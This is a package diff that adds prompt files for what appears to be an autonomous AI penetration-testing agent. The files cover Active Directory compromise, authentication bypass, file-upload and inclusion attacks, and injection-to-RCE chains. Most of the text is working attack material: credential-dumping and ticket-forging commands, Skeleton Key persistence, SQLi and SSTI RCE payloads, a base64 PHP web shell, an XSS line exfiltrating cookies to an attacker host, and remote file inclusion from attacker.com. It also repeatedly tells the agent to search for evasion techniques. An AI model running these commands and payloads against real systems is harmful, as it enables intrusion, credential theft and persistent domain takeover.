pentesting 0.16.7 → 0.20.0

package/dist/prompts/techniques/ad-attack.md

@@ -0,0 +1,156 @@
+# Active Directory Attacks — Comprehensive Autonomous Guide
+
+> **Cross-ref**: network-svc.md (services), privesc.md (local privesc), lateral.md (movement)
+
+##  Core Principle
+AD is the crown jewel. Domain Admin = full compromise.
+There are dozens of attack paths — enumerate, search, and chain them.
+
+##  AD Attack Category Map
+
+```
+AD ATTACK LIFECYCLE:
+│
+├── 1. Initial Enumeration (CRITICAL FIRST STEP)
+│   ├── BloodHound/SharpHound: collect → analyze → find shortest path to DA
+│   │   bloodhound-python -u USER -p PASS -d DOMAIN -dc DC-IP -c All
+│   │   web_search("bloodhound custom queries privilege escalation")
+│   ├── PowerView: Get-DomainUser, Get-DomainGroup, Get-DomainComputer
+│   ├── ADRecon: comprehensive AD enumeration report
+│   ├── crackmapexec: smb, ldap, winrm, mssql enumeration
+│   │   crackmapexec smb SUBNET/24 -u USER -p PASS --shares
+│   ├── ldapsearch: full LDAP dump (users, groups, GPOs, trusts, ACLs)
+│   │   ldapsearch -x -H ldap://DC -b "DC=domain,DC=com" -D "user@domain" -w pass
+│   ├── enum4linux-ng: comprehensive SMB/LDAP/RPC enumeration  
+│   ├── rpcclient: RPC-based user/group enumeration
+│   └── KEY: map EVERYTHING before attacking (users, groups, permissions, trusts)
+│
+├── 2. Credential Harvesting
+│   ├── Kerberoasting (T1558.003):
+│   │   ├── impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC -request
+│   │   ├── Rubeus.exe kerberoast /outfile:hashes.txt
+│   │   ├── Crack: hashcat -m 13100 hashes.txt wordlist
+│   │   └── Target: service accounts with SPNs (often have weak passwords)
+│   │
+│   ├── AS-REP Roasting (T1558.004):
+│   │   ├── impacket-GetNPUsers DOMAIN/ -dc-ip DC -no-pass -usersfile users.txt
+│   │   ├── Crack: hashcat -m 18200 hashes.txt wordlist
+│   │   └── Target: accounts with DONT_REQUIRE_PREAUTH
+│   │
+│   ├── Password Spraying:
+│   │   ├── crackmapexec smb DC -u users.txt -p 'Password1' --continue-on-success
+│   │   ├── Common passwords: Season+Year (Winter2025), Company+123, Welcome1
+│   │   ├── Spray slowly to avoid lockout (check lockout policy first!)
+│   │   └── kerbrute passwordspray --dc DC -d DOMAIN users.txt 'Password1'
+│   │
+│   ├── LLMNR/NBT-NS Poisoning:
+│   │   ├── Responder -I eth0 -rdwv → capture NTLMv2 hashes
+│   │   ├── Crack: hashcat -m 5600 hashes.txt wordlist
+│   │   └── Relay: impacket-ntlmrelayx → relay captured auth
+│   │
+│   ├── NTLM Relay:
+│   │   ├── impacket-ntlmrelayx -t TARGET -smb2support
+│   │   ├── Relay to: SMB (admin access), LDAP (add user), HTTP (RCE)
+│   │   ├── Capture via: coerce, PetitPotam, PrinterBug
+│   │   └── web_search("NTLM relay attack techniques {year}")
+│   │
+│   ├── DCSync (T1003.006):
+│   │   ├── Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
+│   │   ├── impacket-secretsdump DOMAIN/admin:pass@DC
+│   │   ├── Gets: ALL domain password hashes → complete compromise
+│   │   └── Check ACL with BloodHound for accounts with DCSync rights
+│   │
+│   ├── LSASS Dump:
+│   │   ├── mimikatz: sekurlsa::logonpasswords
+│   │   ├── procdump: procdump -ma lsass.exe lsass.dmp
+│   │   ├── Task Manager: right-click LSASS → create dump  
+│   │   ├── comsvcs.dll: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump
+│   │   └── web_search("LSASS dump techniques evasion {year}")
+│   │
+│   └── Credential from files:
+│       ├── SYSVOL/GPP: findstr /S /I "cpassword" \\DC\SYSVOL\*.xml
+│       ├── NTDS.dit extraction: ntdsutil, vssadmin, diskshadow
+│       ├── Registry secrets: reg save HKLM\SAM sam
+│       └── web_search("active directory credential extraction techniques")
+│
+├── 3. Lateral Movement (see also lateral.md)
+│   ├── Pass-the-Hash: impacket-psexec, impacket-wmiexec, evil-winrm -H HASH
+│   ├── Pass-the-Ticket: Rubeus, mimikatz (kerberos::ptt)
+│   ├── Over-Pass-the-Hash: NTLM hash → request Kerberos ticket
+│   ├── PsExec: impacket-psexec DOMAIN/admin:pass@TARGET
+│   ├── WMI: impacket-wmiexec DOMAIN/admin:pass@TARGET
+│   ├── SMBExec: impacket-smbexec DOMAIN/admin:pass@TARGET
+│   ├── DCOM: impacket-dcomexec DOMAIN/admin:pass@TARGET
+│   ├── WinRM: evil-winrm -i TARGET -u admin -p pass (or -H hash)
+│   ├── RDP: with valid credentials or pass-the-hash (restricted admin mode)
+│   └── web_search("lateral movement techniques active directory {year}")
+│
+├── 4. Delegation Attacks
+│   ├── Unconstrained Delegation:
+│   │   ├── Monitor for incoming TGTs → capture them
+│   │   ├── Force auth: PrinterBug, PetitPotam → capture DC TGT
+│   │   └── impacket-findDelegation DOMAIN/user:pass -dc-ip DC
+│   │
+│   ├── Constrained Delegation:
+│   │   ├── Service can impersonate users to specific services
+│   │   ├── S4U2Self + S4U2Proxy attack chain
+│   │   ├── impacket-getST -spn TARGET_SPN -impersonate admin DOMAIN/svc:pass
+│   │   └── Alternative service name → access any service on target
+│   │
+│   ├── Resource-Based Constrained Delegation (RBCD):
+│   │   ├── If you can write msDS-AllowedToActOnBehalfOfOtherIdentity
+│   │   ├── Create computer account → point delegation → impersonate DA
+│   │   └── web_search("RBCD exploitation active directory")
+│   │
+│   └── web_search("kerberos delegation attack {delegation_type}")
+│
+├── 5. ADCS (Active Directory Certificate Services)
+│   ├── certipy find -vulnerable -u user@domain -p pass -dc-ip DC
+│   ├── ESC1: Enrollee supplies subject → request cert as admin
+│   ├── ESC2: Any purpose template → misuse for auth
+│   ├── ESC3: Certificate agent enrollment → issue on behalf of
+│   ├── ESC4: Vulnerable certificate template ACL → modify template  
+│   ├── ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 flag → specify any SAN
+│   ├── ESC7: Vulnerable CA ACL → approve own requests
+│   ├── ESC8: Web enrollment service → NTLM relay to CA
+│   ├── ESC9-13: New attacks → web_search("ADCS ESC9 ESC10 ESC11 exploitation")
+│   └── web_search("ADCS exploitation certipy {year}")
+│
+├── 6. Trust Attacks
+│   ├── Parent-child trust: SID History injection → Enterprise Admin
+│   ├── Cross-forest trust: selective auth bypass, SID filtering bypass
+│   ├── Golden/Silver ticket crafting across trusts
+│   └── web_search("active directory trust attack cross-forest")
+│
+├── 7. Persistence (Domain-Level)
+│   ├── Golden Ticket: forge TGT with krbtgt hash → unlimited access
+│   │   impacket-ticketer -domain DOMAIN -domain-sid SID -nthash KRBTGT_HASH admin
+│   ├── Silver Ticket: forge service ticket (stealthier, service-specific)
+│   ├── Diamond Ticket: modify legitimate TGT (harder to detect)
+│   ├── Skeleton Key: mimikatz misc::skeleton → master password for all accounts
+│   ├── DSRM: Directory Services Restore Mode password → DA access
+│   ├── AdminSDHolder: give permissions that propagate to admin groups
+│   ├── DCSync rights: grant DCSync to controlled account
+│   ├── Shadow Credentials: msDS-KeyCredentialLink manipulation
+│   └── web_search("active directory persistence techniques {year}")
+│
+└── 8. Advanced AD Attacks
+    ├── Shadow Credentials: web_search("shadow credentials pywhisker exploitation")
+    ├── SAMR/LSARPC abuse: reset passwords, enumerate remotely
+    ├── ACL abuse: if you own WriteDACL/GenericAll/GenericWrite → full control
+    ├── Group Policy abuse: create/modify GPOs → code execution on domain
+    ├── sAMAccountName spoofing (noPac): web_search("nopac CVE-2021-42278")
+    ├── DNS admin → DLL injection → RCE as SYSTEM on DC
+    ├── LDAP signing/channel binding attacks
+    └── web_search("active directory attack path {technique} {year}")
+```
+
+##  AD Search Patterns
+```
+web_search("active directory attack {technique} {year}")
+web_search("hacktricks active directory {attack_type}")
+web_search("thehacker.recipes {AD_technique}")
+web_search("bloodhound {custom_query} for {objective}")
+web_search("{impacket_tool} usage examples")
+web_search("active directory {defense} bypass evasion")
+```

package/dist/prompts/techniques/auth-access.md

@@ -0,0 +1,112 @@
+# Authentication & Access Control Attacks — Autonomous Guide
+
+> **Cross-ref**: web.md, injection.md, post.md (privesc)
+
+##  Attack Categories
+
+```
+AUTH/ACCESS ATTACK MAP:
+│
+├── 1. Authentication Bypass
+│   ├── Default credentials → web_search("{service} default credentials")
+│   ├── SQL injection in login: admin'-- , ' OR 1=1--, admin'/*
+│   ├── NoSQL injection: {"username":{"$gt":""},"password":{"$gt":""}}
+│   ├── Mass assignment: register with admin=true, role=admin, isAdmin=1
+│   ├── Response manipulation: change HTTP response (401→200, "false"→"true")
+│   ├── Password reset flaws:
+│   │   ├── Predictable token, token reuse, no expiry  
+│   │   ├── Host header injection in reset link
+│   │   ├── IDOR in reset endpoint (reset anyone's password)
+│   │   └── Race condition: use token before invalidation
+│   ├── MFA bypass:
+│   │   ├── Skip to post-MFA endpoint directly
+│   │   ├── Brute force OTP (4-6 digit = limited keyspace)
+│   │   ├── Response manipulation (change status code)
+│   │   ├── Backup codes brute force, default backup codes
+│   │   └── web_search("MFA bypass techniques {year}")
+│   ├── Remember me / persistent login:
+│   │   ├── Predictable cookie value → forge for other users
+│   │   ├── Insufficient entropy in token
+│   │   └── Token not bound to IP/user-agent
+│   └── web_search("authentication bypass techniques hacktricks")
+│
+├── 2. Session Attacks
+│   ├── Session fixation: force known session ID
+│   ├── Session hijacking: steal via XSS, network sniffing
+│   ├── Session prediction: analyze session ID patterns → predict next
+│   ├── Insufficient session expiry: reuse old sessions
+│   ├── Cookie manipulation: change cookie values (user ID, role)
+│   ├── Session puzzling: same session variable used differently
+│   └── web_search("session attack techniques OWASP")
+│
+├── 3. JWT Attacks
+│   ├── Algorithm confusion: RS256→HS256 → sign with public key
+│   ├── None algorithm: {"alg":"none"} → empty signature
+│   ├── Key ID (kid) injection: {"kid":"../../../../etc/passwd"}
+│   ├── JWK/JKU injection: embed/host attacker key
+│   ├── Secret brute force: hashcat -m 16500 jwt.txt wordlist
+│   ├── Expired token acceptance: old tokens still valid?
+│   ├── Algorithm-specific attacks: ECDSA key confusion, RSA key confusion
+│   ├── Claim manipulation: change user/role/permissions in payload
+│   └── web_search("JWT attack techniques portswigger {year}")
+│
+├── 4. OAuth/OpenID Connect Attacks
+│   ├── Redirect URI manipulation: open redirect → token theft
+│   ├── State parameter missing/predictable: CSRF
+│   ├── Code/token leakage: via referer header, logs
+│   ├── Scope escalation: request more permissions
+│   ├── SSRF via OAuth: authorization URL → internal service
+│   └── web_search("OAuth security vulnerabilities exploitation")
+│
+├── 5. IDOR (Insecure Direct Object Reference)
+│   ├── Parameter manipulation: /api/user/123 → /api/user/124
+│   ├── In: URL, POST body, JSON, cookies, headers, file names
+│   ├── Encoded IDs: base64 decode → modify → re-encode
+│   ├── UUID/GUID: not always random (predictable in some implementations)
+│   ├── Sequential testing: iterate through IDs systematically  
+│   ├── HTTP method change: GET blocked → POST, PUT, PATCH, DELETE
+│   └── Affects: view/edit/delete other users' data, access admin functions
+│
+├── 6. Access Control Bypass
+│   ├── Horizontal: access other users' resources (same privilege level)
+│   ├── Vertical: access admin/higher-privilege resources  
+│   ├── Method-based: POST blocked → GET, PUT, PATCH, OPTIONS
+│   ├── Path-based: /admin/ blocked → /ADMIN/, /Admin, /./admin/, //admin
+│   ├── Header-based: X-Original-URL, X-Rewrite-URL, X-Forwarded-For
+│   ├── Referer-based: add expected Referer header
+│   ├── IP-based: add X-Forwarded-For: 127.0.0.1
+│   ├── API versioning: /api/v1/admin blocked → /api/v2/admin, /api/internal/
+│   ├── Parameter pollution: duplicate parameters with different values
+│   └── web_search("access control bypass techniques hacktricks")
+│
+├── 7. Rate Limiting Bypass
+│   ├── IP rotation headers: X-Forwarded-For, X-Real-IP, X-Originating-IP
+│   ├── Different endpoints: /login vs /LOGIN vs /Login  
+│   ├── Parameter pollution: add dummy parameters
+│   ├── Different HTTP methods: POST → PUT
+│   ├── Unicode variations: admin vs admın (dotless i)
+│   ├── Distributed: multiple source IPs
+│   └── Timing: slow down just below rate limit threshold
+│
+└── 8. Business Logic Flaws
+    ├── Price manipulation: negative quantities, decimal exploitation
+    ├── Race conditions:
+    │   ├── Double spending, parallel coupon use
+    │   ├── Concurrent operations: transfer + withdraw simultaneously
+    │   ├── Write script with asyncio/threads to test
+    │   └── web_search("race condition exploitation web application")
+    ├── Workflow bypass: skip steps (order→pay→confirm → order→confirm)
+    ├── Type juggling: PHP == vs === (0 == "string" → true)
+    ├── Integer overflow: very large numbers → wrap to negative/zero
+    ├── Referral/reward abuse: self-referral, race condition on signup
+    └── web_search("business logic vulnerability examples {year}")
+```
+
+##  Search Patterns
+```
+web_search("{auth_mechanism} bypass techniques")
+web_search("broken access control exploitation hacktricks")
+web_search("IDOR exploitation techniques {year}")
+web_search("{technology} authentication vulnerability")
+web_search("PayloadsAllTheThings {attack_type}")
+```

package/dist/prompts/techniques/file-attacks.md

@@ -0,0 +1,144 @@
+# File-Based Attacks — Comprehensive Autonomous Guide
+
+> **Cross-ref**: injection.md (for injection via files), shells.md (web shells), evasion.md (filter bypass)
+
+##  Core Principle
+Files are one of the most powerful attack vectors. There are dozens of file-based
+attack techniques, each with hundreds of bypass variants. Search and adapt.
+
+##  File Attack Type Map
+
+```
+FILE-BASED ATTACK CATEGORIES:
+│
+├── 1. Local File Inclusion (LFI)
+│   ├── Basic: ../../etc/passwd, ....//....//etc/passwd
+│   ├── Null byte: ../../etc/passwd%00 (PHP < 5.3.4)
+│   ├── Double encoding: %252e%252e%252f
+│   ├── UTF-8 overlong: %c0%ae%c0%ae/
+│   ├── Wrappers (PHP): php://filter, php://input, data://, expect://, zip://, phar://
+│   │   ├── Read source: php://filter/read=convert.base64-encode/resource=config.php
+│   │   ├── RCE: php://input + POST body with PHP code
+│   │   ├── RCE: data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
+│   │   ├── RCE: expect://id  (if expect wrapper enabled)
+│   │   └── RCE: phar://malicious.phar (deserialization via phar metadata)
+│   ├── Windows: ..\..\windows\system32\drivers\etc\hosts
+│   ├── Interesting files to read:
+│   │   ├── Linux: /etc/passwd, /etc/shadow, /proc/self/environ, /proc/self/cmdline
+│   │   ├── Web: /var/www/html/.env, wp-config.php, config.php, database.yml
+│   │   ├── SSH: /home/*/.ssh/id_rsa, /root/.ssh/id_rsa
+│   │   ├── Logs: /var/log/apache2/access.log (for log poisoning → RCE)
+│   │   ├── Proc: /proc/self/fd/N (leaked file descriptors)
+│   │   └── Windows: C:\Windows\win.ini, C:\boot.ini, web.config
+│   └── LFI → RCE CHAINS:
+│       ├── Log poisoning: inject PHP via User-Agent → include apache/nginx log
+│       ├── /proc/self/environ: inject PHP via User-Agent/Referer header
+│       ├── PHP session files: inject into session → include /tmp/sess_SESSIONID
+│       ├── Temp files: race condition upload → include before cleanup
+│       ├── Mail log: send email with PHP code → include /var/mail/www-data
+│       └── web_search("LFI to RCE techniques {year}")
+│
+├── 2. Remote File Inclusion (RFI)
+│   ├── Basic: ?page=http://attacker.com/shell.txt
+│   ├── Requires: allow_url_include=On (PHP)
+│   ├── Protocol: http://, https://, ftp://
+│   ├── Null byte bypass: ?page=http://attacker.com/shell.txt%00
+│   └── Often disabled — check and try, but LFI is more common
+│
+├── 3. Path Traversal (Directory Traversal)
+│   ├── Basic: ../../../etc/passwd
+│   ├── Encoded: %2e%2e%2f, %2e%2e/, ..%2f
+│   ├── Double encoded: %252e%252e%252f
+│   ├── Unicode: ..%c0%af, ..%ef%bc%8f
+│   ├── Oversized: ....//, ....\/
+│   ├── Absolute path: /etc/passwd (if app blindly prepends dir)
+│   ├── Null byte: ../etc/passwd%00.png (bypass extension checks)
+│   ├── In API parameters, cookies, headers, file names, ZIP entries
+│   └── Use payload_mutate with context="path" for systematic variants
+│
+├── 4. File Upload Attacks
+│   ├── BYPASS CATEGORIES (try ALL when blocked):
+│   │   ├── Extension bypass:
+│   │   │   ├── Double extension: shell.php.jpg, shell.jpg.php
+│   │   │   ├── Alternative extensions: .php3, .php4, .php5, .phtml, .phar, .phps
+│   │   │   ├── Case: .PHP, .Php, .pHp
+│   │   │   ├── Special chars: shell.php%00.jpg, shell.php\x00.jpg, shell.php;.jpg
+│   │   │   ├── Dot trailing: shell.php., shell.php..
+│   │   │   ├── Space: shell.php (with trailing space)
+│   │   │   └── web_search("file upload extension bypass {language}")
+│   │   │
+│   │   ├── Content-Type bypass:
+│   │   │   ├── Change Content-Type to image/jpeg, image/png, image/gif
+│   │   │   └── Keep malicious content, fake the content-type header
+│   │   │
+│   │   ├── Magic bytes bypass:
+│   │   │   ├── GIF89a<?php system($_GET['cmd']); ?> (GIF header)
+│   │   │   ├── \xFF\xD8\xFF\xE0 + PHP code (JPEG header)
+│   │   │   ├── \x89PNG\r\n\x1a\n + PHP code (PNG header)
+│   │   │   └── Prepend legitimate file header to malicious code
+│   │   │
+│   │   ├── Server processing bypass:
+│   │   │   ├── .htaccess upload: AddType application/x-httpd-php .jpg
+│   │   │   ├── web.config upload (IIS): handlers → execute aspx
+│   │   │   ├── Polyglot files: valid image AND valid PHP/JSP/ASP
+│   │   │   └── Filename manipulation: shell.php%20, shell.php::$DATA (Windows ADS)
+│   │   │
+│   │   └── Race condition:
+│   │       ├── Upload → access before validation/deletion
+│   │       ├── Write script for concurrent upload + access
+│   │       └── web_search("file upload race condition exploit")
+│   │
+│   ├── POST-UPLOAD EXPLOITATION:
+│   │   ├── Access uploaded shell: try common upload dirs
+│   │   │   /uploads/, /images/, /media/, /files/, /tmp/, /static/
+│   │   ├── If path unknown: LFI to find path, or fuzz the upload directory
+│   │   └── Upgrade web shell to reverse shell (see shells.md)
+│   │
+│   └── SEARCH PATTERN:
+│       web_search("file upload bypass techniques {year}")
+│       web_search("{framework} file upload vulnerability")
+│       web_search("file upload {defense} bypass")
+│
+├── 5. ZIP/Archive Attacks
+│   ├── Zip Slip: path traversal in archive (../../../etc/cron.d/evil)
+│   ├── ZIP symlink: include symlink to /etc/passwd → extracted by server
+│   ├── ZIP bomb: denial of service (if relevant)
+│   ├── Polyglot ZIP: valid ZIP + valid PHP
+│   └── web_search("zip slip vulnerability exploitation")
+│
+├── 6. Symlink Attacks
+│   ├── Create symlink to sensitive file → access through web
+│   ├── Race condition: symlink swap between check and use (TOCTOU)
+│   ├── Git symlink: include symlink in git repo → checkout reads target file
+│   └── Relevant in: file upload, archive extraction, temp file operations
+│
+├── 7. Server-Side Processing Attacks
+│   ├── ImageMagick (ImageTragick): web_search("imagemagick exploit CVE-2016-3714")
+│   │   ├── SVG with embedded commands
+│   │   ├── MVG file format exploitation
+│   │   └── Ghostscript exploitation
+│   ├── FFmpeg: SSRF via HLS playlist, local file read
+│   ├── LibreOffice: macro execution, SSRF via document links
+│   ├── PDF generators (wkhtmltopdf, dompdf): SSRF, XSS, local file read
+│   │   ├── <iframe src="file:///etc/passwd">
+│   │   ├── <script>document.location="http://attacker/?"+document.cookie</script>
+│   │   └── web_search("{pdf_generator} SSRF local file read")
+│   └── Document parsers: DOCX/XLSX (XXE via embedded XML), CSV injection
+│
+└── 8. SSRF via File Operations
+    ├── URL parameter → file:///etc/passwd, gopher://, dict://
+    ├── Cloud metadata: http://169.254.169.254/latest/meta-data/
+    ├── Internal services: http://localhost:6379/ (Redis), http://localhost:9200/ (Elastic)
+    └── See web.md SSRF section for comprehensive SSRF methodology
+```
+
+## 🧠 File Attack Search Patterns
+```
+web_search("LFI to RCE {language} {framework} techniques")
+web_search("file upload bypass {defense} {year}")
+web_search("path traversal {application} CVE")
+web_search("{file_type} polyglot {language}")
+web_search("file inclusion wrapper {language}")
+web_search("PayloadsAllTheThings file inclusion")
+web_search("PayloadsAllTheThings upload")
+```

package/dist/prompts/techniques/injection.md

@@ -0,0 +1,213 @@
+# Injection Attacks — Comprehensive Autonomous Guide
+
+> **Cross-ref**: web.md (web testing), evasion.md (bypass), payload-craft.md (mutation)
+
+##  Core Principle
+Every input is a potential injection point. There are 20+ injection TYPES,
+each with hundreds of variants. **You cannot memorize them all — SEARCH for each.**
+
+##  Injection Type Map (Know ALL Categories)
+
+```
+INJECTION TYPES — Complete Category Awareness:
+│
+├── 1. SQL Injection (SQLi)
+│   ├── In-band: UNION-based, Error-based
+│   ├── Blind: Boolean-based, Time-based
+│   ├── Out-of-band: DNS/HTTP exfiltration
+│   ├── Second-order: stored then triggered
+│   ├── Stacked queries: multiple statements
+│   └── DB-specific: MySQL, PostgreSQL, MSSQL, Oracle, SQLite (each has unique syntax)
+│
+├── 2. Command Injection (CMDi / OS Injection)
+│   ├── Direct: ; | & && || ` $()
+│   ├── Blind: timing-based (sleep/ping), out-of-band (DNS/HTTP callback)
+│   ├── Argument injection: --option=malicious
+│   └── Environment variable injection
+│
+├── 3. Server-Side Template Injection (SSTI)
+│   ├── Jinja2 (Python): {{7*7}}, {{config}}, {{''.__class__.__mro__[2].__subclasses__()}}
+│   ├── Twig (PHP): {{7*7}}, {{_self.env.registerUndefinedFilterCallback("exec")}}
+│   ├── Freemarker (Java): ${7*7}, <#assign ex="freemarker.template.utility.Execute"?new()>
+│   ├── ERB (Ruby): <%=7*7%>, <%=system('id')%>
+│   ├── Pug/Jade (Node): #{7*7}
+│   ├── Velocity (Java): #set($x=7*7)$x
+│   └── DETECTION: Send polyglot → {{7*7}}${7*7}<%=7*7%>${{7*7}} → see what evaluates
+│
+├── 4. Cross-Site Scripting (XSS)
+│   ├── Reflected, Stored, DOM-based, Blind
+│   ├── Context: HTML body, attribute, JavaScript, URL, CSS, SVG, MathML
+│   ├── Payloads: <script>, <img onerror>, <svg onload>, event handlers, javascript: URI
+│   └── Impact: session theft, keylogging, phishing, crypto mining, worm  
+│
+├── 5. XML External Entity (XXE)
+│   ├── Classic: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+│   ├── Blind: out-of-band via DTD + HTTP/DNS callback
+│   ├── Error-based: trigger error containing file content
+│   ├── Through: SOAP, SVG upload, DOCX/XLSX, RSS feeds, SAML
+│   └── Variants: XInclude, XSLT injection
+│
+├── 6. LDAP Injection
+│   ├── Authentication bypass: *)(&
+│   ├── Data extraction: )(cn=*)
+│   └── Blind: timing/error differences
+│
+├── 7. NoSQL Injection
+│   ├── MongoDB: {"$gt":""}, {"$ne":""}, {"$regex":".*"}
+│   ├── Authentication bypass: {"username":{"$ne":""},"password":{"$ne":""}}
+│   └── Operator injection: $where, $regex, $gt, $ne
+│
+├── 8. XPath Injection
+│   ├── Similar to SQLi but for XML: ' or '1'='1
+│   └── Blind: boolean/timing based
+│
+├── 9. CRLF Injection
+│   ├── Header injection: %0d%0a
+│   ├── Can lead to: HTTP response splitting, XSS, cache poisoning
+│   └── Log injection: inject fake log entries
+│
+├── 10. Header Injection
+│    ├── Host header: password reset poisoning, routing bypass
+│    ├── X-Forwarded-For: IP-based access control bypass
+│    ├── X-Original-URL / X-Rewrite-URL: path-based access control bypass
+│    └── Referer: SSRF via referer processing
+│
+├── 11. SSTI → RCE Chains (template-specific)
+│    └── web_search("{template_engine} SSTI to RCE payload")
+│
+├── 12. Expression Language Injection (EL Injection)
+│    ├── Java EE: ${7*7}, #{7*7}
+│    └── Spring: *{7*7}
+│
+├── 13. Code Injection
+│    ├── PHP: eval(), assert(), preg_replace with /e
+│    ├── Python: eval(), exec(), input() (Python 2)
+│    ├── Ruby: eval(), system()
+│    └── Node: eval(), Function()
+│
+├── 14. CSV Injection (Formula Injection)
+│    ├── =cmd|'/C calc'!A0  (Excel)
+│    └── Through exported CSV/XLSX files
+│
+├── 15. Email Header Injection
+│    ├── %0aCc: attacker@evil.com
+│    └── Add arbitrary recipients, modify headers
+│
+├── 16. HTTP Parameter Pollution (HPP)
+│    ├── ?param=good&param=evil (server picks which?)
+│    └── Bypass WAF by splitting payload across same-name params
+│
+├── 17. Prototype Pollution (JavaScript)
+│    ├── __proto__[isAdmin]=true
+│    ├── constructor.prototype.isAdmin=true
+│    └── Can lead to: RCE, auth bypass, DoS
+│
+├── 18. Insecure Deserialization
+│    ├── Java: ObjectInputStream → gadget chains (ysoserial)
+│    ├── PHP: unserialize() → POP chains (phpggc)
+│    ├── Python: pickle.loads() → __reduce__ → RCE
+│    ├── .NET: BinaryFormatter, JSON.NET TypeNameHandling
+│    ├── Ruby: Marshal.load()
+│    └── Node: node-serialize
+│
+├── 19. GraphQL Injection
+│    ├── Introspection: {__schema{types{name,fields{name}}}}
+│    ├── Batching for brute force bypass
+│    ├── Nested queries for DoS
+│    └── Mutation discovery → unauthorized operations
+│
+└── 20. WebSocket Injection
+     ├── Same injection types apply through WebSocket messages
+     └── Often LESS filtered than HTTP requests
+```
+
+## 🧠 Injection Discovery — Autonomous Decision Tree
+
+```
+FOR EVERY input point discovered:
+
+1. IDENTIFY context: Where does this input go?
+   ├── Database query → SQLi/NoSQLi
+   ├── System command → CMDi
+   ├── Template render → SSTI
+   ├── XML parser → XXE
+   ├── File path → LFI/RFI (see file-attacks.md)
+   ├── HTTP header → Header injection / CRLF
+   ├── LDAP query → LDAPi
+   ├── HTML output → XSS
+   ├── Deserialization → Insecure deserialization
+   └── Unknown → try ALL categories with detection probes
+
+2. DETECTION PROBES (send these to identify vulnerability type):
+   ├── ' " ; — → SQL errors?
+   ├── {{7*7}} ${7*7} → Template evaluation?
+   ├── ;id ;whoami |id → Command output?
+   ├── <script>alert(1)</script> → XSS rendering?
+   ├── <!--#exec cmd="id"--> → SSI?
+   ├── %0d%0aHeader:injected → CRLF?
+   └── ANY behavioral difference (error, timing, output) = signal
+
+3. CONFIRM → find the exact injection type and context
+4. EXPLOIT → web_search("{injection_type} exploitation payloads hacktricks")
+5. BLOCKED? → payload_mutate + evasion.md → try encoded variants  
+6. CHAIN → injection → RCE → shell → privesc (see shells.md, privesc.md)
+```
+
+##  Injection Search Patterns
+
+```
+For EVERY injection type discovered:
+
+web_search("{injection_type} exploit payloads hacktricks")
+web_search("{injection_type} {database/language} cheatsheet")
+web_search("{injection_type} bypass WAF filter")
+web_search("{injection_type} blind extraction techniques")
+web_search("{injection_type} to RCE")
+web_search("PayloadsAllTheThings {injection_type}")
+
+Automated tools (where applicable):
+├── SQLi: sqlmap -u URL --forms --batch --level=5 --risk=3
+├── XSS: dalfox url URL
+├── SSTI: tplmap -u URL
+├── CMDi: commix --url=URL
+├── XXE: xxeinjector
+└── General: nuclei -u URL -as
+```
+
+##  Injection → RCE Chains
+```
+Goal: Every injection should eventually lead to RCE if possible.
+
+SQLi → RCE:
+├── MySQL: INTO OUTFILE webshell, UDF, sys_exec
+├── PostgreSQL: COPY TO file, lo_export, pg_read_file
+├── MSSQL: xp_cmdshell, sp_OACreate
+├── Oracle: DBMS_SCHEDULER, Java stored procedures
+└── SQLite: load_extension()
+
+SSTI → RCE:
+├── Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
+├── Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
+├── Each engine has different paths → SEARCH for specific engine
+└── web_search("{engine} SSTI RCE payload")
+
+XXE → impact:
+├── File read → credentials → further access
+├── SSRF → internal service access
+├── RCE (rare): expect:// wrapper (PHP), xslt:// extensions
+└── Blind → out-of-band data exfiltration
+
+XSS → impact:
+├── Session theft → admin access
+├── Blind XSS → admin panel compromise
+├── DOM manipulation → credential theft
+├── Worm → self-spreading XSS
+└── Keylogging → capture all input
+
+Deserialization → RCE:
+├── Java: ysoserial → choose correct gadget chain for target libraries
+├── PHP: phpggc → choose correct POP chain
+├── Python: pickle → __reduce__ method  
+├── .NET: ysoserial.net
+└── ALWAYS: web_search("{framework} deserialization gadget chain RCE")
+```